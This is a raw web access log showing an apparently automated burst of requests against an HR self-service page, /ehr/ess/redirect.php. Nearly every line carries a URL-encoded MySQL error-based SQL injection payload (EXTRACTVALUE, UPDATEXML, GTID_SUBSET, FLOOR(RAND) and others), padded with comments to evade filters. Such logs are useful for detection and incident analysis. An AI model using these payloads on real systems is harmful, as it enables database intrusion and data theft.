100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x365a5435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x745a4a46%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x38546839%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75436959%29%2C6420%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x38546839%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75436959%29%2C6420%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6a6c737a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53764544%29%2C6420%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6a6c737a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53764544%29%2C6420%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5047655a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6433346c%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5047655a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6433346c%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x454d3873%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x325a6142%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x454d3873%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x325a6142%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3064624c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3158776b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3064624c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3158776b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x735a3648%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x426b5352%29%2C5431%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x735a3648%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x426b5352%29%2C5431%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x59614631%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76635257%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x59614631%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76635257%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x464d3466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69345133%29%2C5431%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x464d3466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69345133%29%2C5431%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f7a4e56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6e7458%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f7a4e56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6e7458%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65373863%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b373178%29%29x%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65373863%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b373178%29%29x%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x586b6b64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714c3755%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x586b6b64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714c3755%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x46715245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66687731%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x46715245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66687731%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x374a5065%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794c5348%29%29x%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x374a5065%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794c5348%29%29x%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4c654a55%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324e6f7a%29%29%2C1%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4c654a55%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324e6f7a%29%29%2C1%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x42793132%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69495546%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x42793132%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69495546%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x376c704a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4d6c31%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x376c704a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4d6c31%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x734f7334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43393043%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x734f7334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43393043%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x446f4638%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73305077%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x446f4638%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73305077%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4150714e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38523242%29%29%2C1%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4150714e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38523242%29%29%2C1%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4a627041%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674e6663%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4a627041%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674e6663%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58776b4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75745777%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
